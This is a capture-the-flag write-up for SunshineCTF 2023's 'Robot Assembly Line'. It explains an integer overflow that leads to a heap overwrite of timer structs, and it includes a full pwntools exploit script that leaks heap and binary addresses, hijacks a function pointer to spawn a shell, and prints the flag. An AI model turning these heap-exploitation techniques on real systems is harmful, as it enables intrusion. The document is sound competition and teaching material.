SunshineCTF 2023 - Robot Assembly Line
We found the robotic turret assembly line control station! Can you break in to corrupt all of the robot turrets that are being manufactured?
nc chal.2023.sunshinectf.games 23000
Author: kcolley
Team: Weak But Leet
Attachment: robots-assemble xpl.py
Enter number of robot turrets to manufacture:
10
Initializing turret #1. Name?
AAAA
IQ for robot AAAA?
100
Should robot AAAA be self-aware?
y
Should robot AAAA be evil?
y
Self-destruct time for robot AAAA (in microseconds)?
1000
AAAA: "There you are."
Initializing turret #2. Name?
AAAA: "Aaaah"
The challenge is about creating robot
objects, which will then just call a robot_self_destruct
function after the specified time.
long robot_assembly_line()
{
locked_printf("Enter number of robot turrets to manufacture:\n");
if ( !read_line(&g_line, 100, 0) )
return -1;
if ( __isoc99_sscanf(&g_line, "%zu", &count) != 1 )
return -1;
size_t size = round_up(0x30 * count, 0x30);
buffer = malloc(size);
memset(buffer, 0, size);
g_slot = malloc(0x10);
for ( i = 0; i < count; ++i )
{
long result = Robot_assemble((Robot *)buffer + i, i + 1);
if ( result )
return result;
}
return 0;
}
When specifying the number of turrets, it will calculate the needed size for the buffer for storing the robot
objects with round_up
and allocate a buffer for it. Then it will loop through the robots, read the data for it and start a timer thread.
long Robot_assemble(Robot *bot, long bot_idx)
{
locked_printf("Initializing turret #%zu. Name?\n", bot_idx);
if ( !read_line(bot, 10, 0) )
return -1;
locked_printf("IQ for robot %s?\n", bot->name);
if ( !read_line(&g_line, 100, 0) || __isoc99_sscanf(&g_line, "%u", &bot->IQ) != 1 )
return -1;
locked_printf("Should robot %s be self-aware?\n", bot->name);
if ( !read_line(&g_line, 100, 0) )
return -1;
bot->self_aware = tolower(g_line) == 'y';
locked_printf("Should robot %s be evil?\n", bot->name);
if ( !read_line(&g_line, 100, 0) )
return -1;
bot->is_evil = tolower(g_line) == 'y';
locked_printf("Self-destruct time for robot %s (in microseconds)?\n", bot->name);
if ( !read_line(&g_line, 100, 0) || __isoc99_sscanf(&g_line, "%lu", &self_destruct_time) != 1 )
return -1;
char* hello_msg = random_hello_message();
locked_printf("%s: \"%s\"\n", bot->name, hello_msg);
Timer_start(self_destruct_time, robot_self_destruct, bot);
return 0;
}
robot_self_destruct
itself will print the name of the robot
and a random death message.
unsigned long robot_self_destruct(char* bot_name)
{
char *death_message = random_death_message();
return locked_printf("%s: \"%s\"\n", bot_name, death_message);
}
So far, so good… If we’re nice and only entering valid sizes for the robot
array…
size = round_up(0x30 * count, 0x30);
buffer = malloc(size);
for ( i = 0; i < count; ++i )
robot_assembly_line
calculates the size for the buffer
object with round_up
, but uses the entered count
for the loop.
unsigned long round_up(long val, unsigned long size)
{
unsigned long result = (val + size - 1) / size * size;
if ( !result )
result = size;
return result;
}
This screams for integer overflow
. If we provide a count
big enough, that val + size - 1
will overflow and then be smaller than size * size
, result would be 0
and round_up
will return the minimum size 0x30
, but the following loop uses our huge count
for reading the robot
objects.
This will lead to an out of bounds write via the robot objects, with which we can overwrite the timer
structs for previous robots
.
Let’s set this up
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "chal.2023.sunshinectf.games"
PORT = 23000
PROCESS = "./robots-assemble"
def setrobot(name, iq, selfaware, evil, timer):
r.recvline()
r.send(name)
r.recvline()
r.sendline(str(iq))
r.recvline()
r.sendline("y" if selfaware else "n")
r.recvline()
r.sendline("y" if evil else "n")
r.recvline()
r.sendline(str(timer))
def exploit(r):
r.recvline()
pause()
r.sendline(str(0xffffffffffffffff/0x30))
setrobot("A"*10, 100, True, True, 40*1000*1000)
setrobot("A"*10, 100, True, True, 40*1000*1000)
setrobot("\n", 0, False, False, 2*1000*1000)
setrobot("\n", 0, False, False, 4*1000*1000)
r.recvuntil("Name?\n")
r.interactive()
return
if __name__ == "__main__":
e = ELF("./robots-assemble")
libc = ELF("./libc.so.6")
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
else:
LOCAL = True
r = process("./robots-assemble", env={"LD_PRELOAD":"./libc.so.6"})
print(util.proc.pidof(r))
pause()
exploit(r)
This will setup the buffer
object with malloc(0x30)
, which creates a 0x40
chunk, which has enough room for 2 robots, but it will then create 4 robots. Thus, robots 2
and 3
will overwrite the timer
struct for robots 0
and 1
. If robots 0
or 1
would try to execute it’s death function now, it would segfault, since they’re overwritten with junk. Because of that, we gave them a huge execution time to avoid them to be executed at all.
The reasoning behind creating 4 robots
in the start is to move down the heap, so that the pointer in the timer
struct points to a heap area, where we can make it point to some useful data with just a one byte overwrite (we could have also tried to do a nibble bruteforce, but let’s keep it clean, so that no bruteforce is needed).
Let’s check the heap, while the objects are created, to get a better understanding what’s happening.
After creating the first two robots, the heap will look like this
0x55555555a3b0: 0x0000000000000000 0x0000000000000041
0x55555555a3c0: 0x4141414141414141 0x0000006401014141 <= robot buffer (bot 0)
0x55555555a3d0: 0x0000000000000000 0x0000000000000000
0x55555555a3e0: 0x0000000000000000 0x0000000000000000
0x55555555a3f0: 0x4141414141414141 0x0000006401014141 <= bot 1
0x55555555a400: 0x0000000000000000 0x0000000000000000
0x55555555a410: 0x0000000000000000 0x0000000000000031
0x55555555a420: 0x000055555555a3c0 0x00005555555559c0 <= timer for bot 0
0x55555555a430: 0x000055555555a460 0x00000000652281ca
0x55555555a440: 0x000000001399a4ac 0x0000000000000031
0x55555555a450: 0x000055555555a3f0 0x00005555555559c0 <= timer for bot 1
0x55555555a460: 0x0000000000000000 0x00000000652281ca
0x55555555a470: 0x0000000013a0b420 0x0000000000020b91
The timer
object for every bot will contain a pointer to the bot itself, a pointer to the self_destruct
function and the time, after which it should be executed.
Since the buffer was allocated too small, the current input function for bot 2
will read data to 0x55555555a420
, which is also the timer object for bot 0
. But since we have no leak by now, and there’s nothing interesting in the heap from 0x000055555555a300
to 0x000055555555a3ff
, we just create more robots, so that the robot pointer for a timer
object will point to 0x000055555555a4XX
.
Then we can do a one byte overwrite and let it point somewhere else, which contains more useful data.
After creating bots 2
and 3
0x55555555a3b0: 0x0000000000000000 0x0000000000000041
0x55555555a3c0: 0x4141414141414141 0x0000006401014141 <= buffer (bot 0)
0x55555555a3d0: 0x0000000000000000 0x0000000000000000
0x55555555a3e0: 0x0000000000000000 0x0000000000000000
0x55555555a3f0: 0x4141414141414141 0x0000006401014141 <= bot 1
0x55555555a400: 0x0000000000000000 0x0000000000000000
0x55555555a410: 0x0000000000000000 0x0000000000000031
0x55555555a420: 0x000055555555a300 0x00000000000059c0 <= bot 2 (timer bot 0)
0x55555555a430: 0x000055555555a460 0x00000000652282ed
0x55555555a440: 0x0000000022c5b8d8 0x0000000000000031
0x55555555a450: 0x000055555555a300 0x00000000000059c0 <= bot 3 (timer bot 1)
0x55555555a460: 0x0000000000000000 0x00000000652282ed
0x55555555a470: 0x0000000022ccb9a8 0x0000000000000031
0x55555555a480: 0x000055555555a420 0x00005555555559c0 <= timer bot 2 (bot 4)
0x55555555a490: 0x000055555555a4c0 0x00000000652282cc
0x55555555a4a0: 0x000000000571a3f5 0x0000000000000031
0x55555555a4b0: 0x000055555555a450 0x00005555555559c0 <= timer bot 3 (bot 5)
0x55555555a4c0: 0x000055555555a430 0x00000000652282ce
0x55555555a4d0: 0x00000000057699bd 0x0000000000020b31
Now, the robot
pointer of the timer object for bot 2
points to 0x000055555555a420
and there are a lot more useful addresses in the range, that we can now reach with overwriting only the LSB byte. Let’s point it to 0x55555555a490
.
Remember, bot 2
is already running and we’re currently entering the name for bot 4
. So we can just send one byte (but no newline), which will overwrite the name pointer, and then we just wait for bot 2
trying to self-destruct.
# partial overwrite bot name to leak heap address
r.send(p8(0x90))
HEAPLEAK = u64(r.recvuntil(":", drop=True).ljust(8, "\x00"))
log.info("HEAP leak : %s" % hex(HEAPLEAK))
When bot 2
now self-destructs, it will print its name, which points to 0x55555555a490
and thus prints a heap-address, which we can read.
Since we now have a complete heap address, we can overwrite more than only the least significant byte of an address.
We’ll finish entering the data for bot 4
(the input method is still waiting for us to finish the input), so that we can start entering data for bot 5
, which is also the timer
for bot 3
(which hasn’t terminated yet).
def finish_bot_input():
r.sendline()
r.recvline()
r.sendline("1")
r.recvline()
r.sendline("y")
r.recvline()
r.sendline("y")
r.sendline(str(9999999))
r.recvuntil("Name?\n")
def exploit(r):
...
...
finish_bot_input()
# partial overwrite bot name to leak elf address
PIETARGET = HEAPLEAK + 0x28
r.send(p16(PIETARGET & 0xffff))
PIELEAK = u64(r.recvuntil(":", drop=True).ljust(8, "\x00"))
e.address = PIELEAK - 0x19c0
log.info("PIE leak : %s" % hex(PIELEAK))
log.info("ELF : %s" % hex(e.address))
This will now again overwrite the robot
pointer in the next timer
object and lets it point to the robot_self_destruct
function pointer in the timer object. With this we can leak and calculate the base address of the binary.
We could also have leaked a libc
address from the pthread
object in the heap this way and call system("/bin/sh")
, but the binary also contains a wat
function, which we can use to solve it completely without relying on libc
at all.
.text:0000000000001E22 wat
.text:0000000000001E22 endbr64
.text:0000000000001E26 push rbp
.text:0000000000001E27 mov rbp, rsp
.text:0000000000001E2A call _rand
.text:0000000000001E2F test eax, eax
.text:0000000000001E31 jns short loc_1E47
.text:0000000000001E33 mov edx, (offset dword_0+3) ; envp
.text:0000000000001E38 mov esi, (offset dword_0+2) ; argv
.text:0000000000001E3D mov edi, (offset dword_0+1) ; path
.text:0000000000001E42 call _execve
.text:0000000000001E47
.text:0000000000001E47 loc_1E47:
.text:0000000000001E47 nop
.text:0000000000001E48 pop rbp
.text:0000000000001E49 retn
.text:0000000000001E49 wat endp
Though calling wat
itself, would call rand
and then just return, since the result will probably never be 0
. Also jumping anywhere before 0x1E42
would fill the parameters with junk making execve
fail.
Since the robot_self_destruct
function will be called with its first argument pointing to our robot
object itself, we luckily don’t need anything else than the execve
call, so we can just overwrite robot_self_destruct
with elfbase + 0x1e42
, which will then call execve(botname, 0, 0)
.
Just put a /bin/sh
into the name of a bot and overwrite the robot
pointer in the next timer
object with it and overwrite robot_self_destruct
with elfbase + 0x1e42
and then just… wait…
def exploit(r):
r.recvline()
r.sendline(str(0xffffffffffffffff/0x30))
setrobot("/bin/sh\x00\n", 100, True, True, 40*1000*1000)
...
...
finish_bot_input()
# partial overwrite bot function to execute execve(botname)
WATTARGET = e.address + 0x1e42
log.info("WAT target : %s" % hex(WATTARGET))
payload = p64(HEAPLEAK - 0x100) + p16(WATTARGET & 0xffff)
r.send(payload)
log.info("Wait for bot to die to trigger shell")
time.sleep(9)
[*] '/media/sf_ctf/sunshine23/ral/robots-assemble'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/media/sf_ctf/sunshine23/ral/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chal.2023.sunshinectf.games on port 23000: Done
[*] HEAP leak : 0x56070889d4c0
[*] PIE leak : 0x5607073239c0
[*] ELF : 0x560707322000
[*] WAT target : 0x560707323e42
[*] Wait for bot to die to trigger shell
[*] Switching to interactive mode
IQ for robot ��\x8\x07?
$ ls
flag.txt
$ cat flag.txt
sun{t4rg3t_l0s7_4r3_y0u_st1ll_th3r3?}